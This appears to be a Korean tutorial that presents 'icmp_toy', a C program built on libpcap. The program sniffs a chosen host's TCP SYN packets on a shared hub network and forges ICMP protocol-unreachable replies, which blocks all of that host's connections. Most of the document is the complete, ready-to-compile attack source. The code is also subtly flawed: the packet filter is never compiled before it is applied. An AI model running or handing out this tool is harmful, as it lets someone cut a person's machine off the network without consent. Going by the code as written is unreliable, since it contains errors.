libpcap을 이용한 간단한 응용의 예를 보이도록 하겠습니다.
icmp_toy는 특정 호스트의 ip address를 입력으로 받아 그 호스트의 모든 접속을 차단해 버리는 프로그램으로 해당 호스트의 tcp, syn flag가 set된 패킷을 libpcap을 이용하여 캡쳐한 후 해당 패킷에 대한 icmp protocol unreachable 패킷을 해당 호스트에게 재전송하게 됩니다.
입력한 호스트는 icmp_toy가 구동중인 호스트와 같은 네트워크에 구성되어 있고, Dummy Hub 환경이여야만 제대로 작동하게 됩니다.
icmp packet은 아래와 같은 구조로 만들어주게 됩니다.
Destination Unreachable Message 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Type | Code | Checksum | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | unused | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Internet Header + 64 bits of Original Data Datagram | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ Type : 3 Code : 2 = protocol unreachable <RFC792> |
#include <arpa/inet.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <netinet/ip_icmp.h> #include <net/ethernet.h> #include <sys/socket.h> #include <sys/wait.h> #include <sys/types.h> #include <sys/time.h> #include <pcap.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> #define PROMISCUOUS 1 static int nchild = 5; char target_ip[16]; static pid_t *pids; static pcap_t *pd; unsigned short in_cksum (unsigned short *addr, int len) { int nleft = len; int sum = 0; unsigned short *w = addr; unsigned short answer = 0; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(unsigned char *) (&answer) = *(unsigned char *) w; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return (answer); } void send_icmp (int sockfd, struct iphdr *iph, struct tcphdr *tcph) { char buff[76]; char data[28]; int len; struct sockaddr send; struct icmp *icmp; struct sockaddr_in *willsend; willsend = (struct sockaddr_in *) &send; willsend->sin_family = AF_INET; willsend->sin_addr.s_addr = iph->saddr; fprintf (stdout, "A player\'s number is (%d) : Shot!! ---<-@ %s \n", getpid (), target_ip); icmp = (struct icmp *) buff; icmp->icmp_type = ICMP_DEST_UNREACH; icmp->icmp_code = ICMP_PROT_UNREACH; icmp->icmp_id = 0; icmp->icmp_seq = 0; memcpy (data, iph, 20); memcpy (data + 20, tcph, 8); memcpy (icmp->icmp_data, data, 28); len = 8 + 20 + 8; icmp->icmp_cksum = 0; icmp->icmp_cksum = in_cksum ((u_short *) icmp, len); sendto (sockfd, buff, len, 0, &send, sizeof (send)); } void checkip (struct iphdr *iph, struct tcphdr *tcph) { int sockfd; char source_ip[16]; struct in_addr in; in.s_addr = iph->saddr; strncpy (source_ip, inet_ntoa (in), sizeof (source_ip)); sockfd = socket (AF_INET, SOCK_RAW, IPPROTO_ICMP); if (strncmp (target_ip, source_ip, sizeof (source_ip)) == 0) send_icmp (sockfd, iph, tcph); close (sockfd); } void packet_info (char *user, int len) { struct iphdr *iph; struct tcphdr *tcph; iph = (struct iphdr *) user; tcph = (struct tcphdr *) (user + iph->ihl * 4); checkip (iph, tcph); } void sig_int (int sig) { int i; for (i = 0; i < nchild; i++) kill (pids[i], SIGTERM); while (wait (NULL) > 0) ; fprintf (stdout, "Bye !!\n"); pcap_close(pd); exit (0); } pid_t child_make (int i, pcap_t * pd, int datalink) { pid_t pid; void child_main (int, pcap_t *, int); if ((pid = fork ()) > 0) { return (pid); } child_main (i, pd, datalink); return 0; // ADD } void child_main (int i, pcap_t * pd, int datalink) { void packet_loop (pcap_t *, int); printf ("CHILD %ld starting\n", (long) getpid ()); packet_loop (pd, datalink); } char *next_pcap (pcap_t * pd, int *len) { char *ptr; struct pcap_pkthdr hdr; while ((ptr = (char *) pcap_next (pd, &hdr)) == NULL); *len = hdr.caplen; return (ptr); } void packet_loop (pcap_t * pd, int datalink) { int len; char *ptr; for (;;) { ptr = next_pcap (pd, &len); switch (datalink) { case DLT_EN10MB: packet_info (ptr + 14, len - 14); break; } } } void usage (void) { fprintf (stdout, "SYNOPSIS : icmp_toy xxx.xxx.xxx.xxx(target ip address) \n"); } int main (int argc, char *argv[]) { struct bpf_program fcode; char *device, *filter_rule; char ebuf[PCAP_ERRBUF_SIZE]; int i, j, snaplen = 68; bpf_u_int32 localnet, netmask; signal (SIGINT, sig_int); if (argc < 2) { usage (); exit (1); } strncpy (target_ip, argv[1], sizeof (target_ip)); filter_rule = "tcp and tcp[13:1] & 2 != 0"; device = pcap_lookupdev (ebuf); if (device == NULL) { perror (ebuf); exit (1); } pd = pcap_open_live (device, snaplen, PROMISCUOUS, 1000, ebuf); if (pd == NULL) { perror (ebuf); exit (1); } i = pcap_snapshot (pd); if (snaplen < 1) { perror (ebuf); exit (1); } if (pcap_lookupnet (device, &localnet, &netmask, ebuf) < 0) { perror (ebuf); exit (1); } if (pcap_setfilter (pd, &fcode) < 0) { perror (ebuf); exit (1); } fflush (stderr); pids = calloc (nchild, sizeof (pid_t)); for (j = 0; j < nchild; j++) pids[j] = child_make (j, pd, pcap_datalink (pd)); for (;;) pause (); } |